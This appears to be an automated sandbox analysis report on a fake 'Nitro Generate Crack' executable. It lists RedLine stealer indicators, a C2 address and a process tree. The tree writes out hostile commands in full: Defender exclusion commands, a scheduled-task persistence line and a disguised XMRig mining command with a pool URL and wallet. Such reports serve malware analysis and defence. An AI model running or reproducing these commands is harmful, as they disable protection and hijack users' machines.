Analysis

  • max time kernel
    150s
  • max time network
    130s
  • platform
    windows10_x64
  • resource
    win10-en-20210920
  • submitted
    28/10/2021, 16:44

General

  • Target
    Nitro Generate Crack.exe
  • Size 23.4MB
  • Sample211028-t8talagfhm
  • SHA256 fd50e5ce3b80417115401a4cc61ba7efd5c4d6f13d9166c26cc456b111d39fbb
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • redline

Botnet
  • @onlypizdat

C2
  • 80.89.237.147:39192

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 2 IoCs
  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 2 IoCs
  • Executes dropped EXE 7 IoCs
  • Checks BIOS information in registry 2 TTPs 12 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 4 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Nitro Generate Crack.exe
    "C:\Users\Admin\AppData\Local\Temp\Nitro Generate Crack.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3140
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Users\Admin\AppData\Local\Temp\krinjxxl318812.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Users\Admin\AppData\Local\Temp\krinjxxl318812.exe
        C:\Users\Admin\AppData\Local\Temp\krinjxxl318812.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2256
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:1732
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2256 -s 280
          4⤵
          • Suspicious use of NtCreateProcessExOtherParentProcess
          • Program crash
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2936
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c start C:\Users\Admin\AppData\Local\Temp\Mo-Er.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2152
      • C:\Users\Admin\AppData\Local\Temp\Mo-Er.exe
        C:\Users\Admin\AppData\Local\Temp\Mo-Er.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1340
        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe"
          4⤵
          • Executes dropped EXE
          • Checks BIOS information in registry
          • Suspicious use of WriteProcessMemory
          PID:444
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1256
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:1076
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2288
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:3804
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4072
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe"
            5⤵
              PID:3580
              • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xmr.exe"
                6⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Drops file in System32 directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:352
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                  7⤵
                  • Suspicious use of WriteProcessMemory
                  PID:3284
                  • C:\Windows\system32\schtasks.exe
                    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                    8⤵
                    • Creates scheduled task(s)
                    PID:3184
                • C:\Windows\system32\services64.exe
                  "C:\Windows\system32\services64.exe"
                  7⤵
                  • Executes dropped EXE
                  • Checks BIOS information in registry
                  • Suspicious use of WriteProcessMemory
                  PID:532
                  • C:\Windows\system32\cmd.exe
                    "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2292
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin'
                      9⤵
                      • Suspicious behavior: EnumeratesProcesses
                      PID:3208
                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                      powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'
                      9⤵
                        PID:2340
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp'
                        9⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1356
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
                        9⤵
                        • Suspicious behavior: EnumeratesProcesses
                        PID:364
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                      8⤵
                      • Suspicious use of WriteProcessMemory
                      PID:1188
                      • C:\Users\Admin\AppData\Local\Temp\svchost64.exe
                        C:\Users\Admin\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
                        9⤵
                        • Executes dropped EXE
                        • Checks BIOS information in registry
                        • Drops file in System32 directory
                        • Suspicious use of SetThreadContext
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of WriteProcessMemory
                        PID:3904
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
                          10⤵
                          • Suspicious use of WriteProcessMemory
                          PID:3580
                          • C:\Windows\system32\schtasks.exe
                            schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
                            11⤵
                            • Creates scheduled task(s)
                            PID:688
                        • C:\Windows\system32\Microsoft\Libs\sihost64.exe
                          "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
                          10⤵
                          • Executes dropped EXE
                          • Checks BIOS information in registry
                          PID:3264
                        • C:\Windows\System32\notepad.exe
                          C:\Windows/System32\notepad.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=41p9e6EK4ZZHPEh4hK88s1M6qQg8Hn3XFcyMm7M118SzUVRbcTabKM3iRGM64qFLpCXWASdVoHQSTCAZ9N33rRDXLHSi7Ac --pass=RIG - 1 --cpu-max-threads-hint=70 --cinit-stealth-targets="+iU/trnPCTLD3p+slbva5u4EYOS6bvIPemCHGQx2WRUcnFdomWh6dhl5H5KbQCjp6yCYlsFu5LR1mi7nQAy56B+5doUwurAPvCael2sR/N4=" --cinit-idle-wait=4 --cinit-idle-cpu=100 --nicehash --tls --cinit-stealth
                          10⤵
                          • Checks BIOS information in registry
                          • Suspicious behavior: EnumeratesProcesses
                          PID:940
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                          10⤵
                            PID:1508
                            • C:\Windows\System32\Conhost.exe
                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                              11⤵
                              • Suspicious behavior: EnumeratesProcesses
                              PID:2340
                            • C:\Windows\system32\choice.exe
                              choice /C Y /N /D Y /T 3
                              11⤵
                                PID:1796
                      • C:\Windows\System32\cmd.exe
                        "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\svchost64.exe"
                        7⤵
                        • Suspicious use of WriteProcessMemory
                        PID:4004
                        • C:\Windows\system32\choice.exe
                          choice /C Y /N /D Y /T 3
                          8⤵
                            PID:1196

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

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                  Downloads

                  memory/352-289-0x00000000097D0000-0x00000000097D2000-memory.dmp

                  memory/364-671-0x000001FEF27F3000-0x000001FEF27F5000-memory.dmp

                  memory/364-670-0x000001FEF27F0000-0x000001FEF27F2000-memory.dmp

                  memory/364-716-0x000001FEF27F6000-0x000001FEF27F8000-memory.dmp

                  memory/364-784-0x000001FEF27F8000-0x000001FEF27F9000-memory.dmp

                  memory/444-135-0x00007FF6D6B50000-0x00007FF6D6B51000-memory.dmp

                  memory/444-137-0x0000000022D00000-0x0000000022D02000-memory.dmp

                  memory/532-348-0x0000000022540000-0x0000000022542000-memory.dmp

                  memory/940-745-0x0000000140000000-0x0000000141010000-memory.dmp

                  memory/940-812-0x0000000140000000-0x0000000141010000-memory.dmp

                  memory/940-816-0x00000185151A0000-0x00000185151C0000-memory.dmp

                  memory/940-817-0x00000185151C0000-0x00000185151E0000-memory.dmp

                  memory/1076-148-0x0000016A54200000-0x0000016A54202000-memory.dmp

                  memory/1076-143-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-150-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-149-0x0000016A54203000-0x0000016A54205000-memory.dmp

                  memory/1076-147-0x0000016A544F0000-0x0000016A544F1000-memory.dmp

                  memory/1076-153-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-169-0x0000016A54206000-0x0000016A54208000-memory.dmp

                  memory/1076-183-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-140-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-141-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-142-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-146-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-145-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-200-0x0000016A54208000-0x0000016A54209000-memory.dmp

                  memory/1076-152-0x0000016A3BF40000-0x0000016A3BF42000-memory.dmp

                  memory/1076-144-0x0000016A54340000-0x0000016A54341000-memory.dmp

                  memory/1340-123-0x0000000000A10000-0x0000000000A11000-memory.dmp

                  memory/1340-122-0x0000000000A10000-0x0000000000A11000-memory.dmp

                  memory/1356-585-0x000001CB7ABB0000-0x000001CB7ABB2000-memory.dmp

                  memory/1356-586-0x000001CB7ABB3000-0x000001CB7ABB5000-memory.dmp

                  memory/1356-631-0x000001CB7ABB6000-0x000001CB7ABB8000-memory.dmp

                  memory/1356-667-0x000001CB7ABB8000-0x000001CB7ABB9000-memory.dmp

                  memory/1732-176-0x0000000000400000-0x0000000000420000-memory.dmp

                  memory/1732-235-0x0000000008920000-0x0000000008E1E000-memory.dmp

                  memory/1732-184-0x0000000000020000-0x0000000000021000-memory.dmp

                  memory/1732-182-0x0000000000020000-0x0000000000021000-memory.dmp

                  memory/1732-193-0x0000000000400000-0x0000000000401000-memory.dmp

                  memory/1732-191-0x0000000000020000-0x0000000000021000-memory.dmp

                  memory/2256-130-0x0000000000DD0000-0x0000000000DD1000-memory.dmp

                  memory/2256-125-0x00000000001E0000-0x00000000001E1000-memory.dmp

                  memory/2256-127-0x0000000000DA0000-0x0000000000DA1000-memory.dmp

                  memory/2256-128-0x0000000000DB0000-0x0000000000DB1000-memory.dmp

                  memory/2256-129-0x0000000000DC0000-0x0000000000DC1000-memory.dmp

                  memory/2256-126-0x00000000001F0000-0x00000000001F1000-memory.dmp

                  memory/2256-131-0x0000000000400000-0x0000000000AEB000-memory.dmp

                  memory/2288-189-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-188-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-190-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-187-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-196-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-197-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-233-0x000001DBB8DA6000-0x000001DBB8DA8000-memory.dmp

                  memory/2288-199-0x000001DBA05C0000-0x000001DBA05C2000-memory.dmp

                  memory/2288-202-0x000001DBB8DA0000-0x000001DBB8DA2000-memory.dmp

                  memory/2288-203-0x000001DBB8DA3000-0x000001DBB8DA5000-memory.dmp

                  memory/2288-234-0x000001DBB8DA8000-0x000001DBB8DA9000-memory.dmp

                  memory/2340-584-0x000001DB3EA38000-0x000001DB3EA39000-memory.dmp

                  memory/2340-464-0x000001DB3EA33000-0x000001DB3EA35000-memory.dmp

                  memory/2340-466-0x000001DB3EA36000-0x000001DB3EA38000-memory.dmp

                  memory/2340-463-0x000001DB3EA30000-0x000001DB3EA32000-memory.dmp

                  memory/3208-380-0x0000014E7DE56000-0x0000014E7DE58000-memory.dmp

                  memory/3208-350-0x0000014E7DE53000-0x0000014E7DE55000-memory.dmp

                  memory/3208-349-0x0000014E7DE50000-0x0000014E7DE52000-memory.dmp

                  memory/3208-390-0x0000014E7DE58000-0x0000014E7DE59000-memory.dmp

                  memory/3264-805-0x0000000022AB0000-0x0000000022AB2000-memory.dmp

                  memory/3804-252-0x0000020C7F390000-0x0000020C7F392000-memory.dmp

                  memory/3804-253-0x0000020C7F393000-0x0000020C7F395000-memory.dmp

                  memory/3804-267-0x0000020C7F396000-0x0000020C7F398000-memory.dmp

                  memory/3804-290-0x0000020C7F398000-0x0000020C7F399000-memory.dmp

                  memory/3904-674-0x00000000094A0000-0x00000000094A2000-memory.dmp

                  memory/4072-333-0x000001F025F98000-0x000001F025F99000-memory.dmp

                  memory/4072-332-0x000001F025F96000-0x000001F025F98000-memory.dmp

                  memory/4072-303-0x000001F025F93000-0x000001F025F95000-memory.dmp

                  memory/4072-302-0x000001F025F90000-0x000001F025F92000-memory.dmp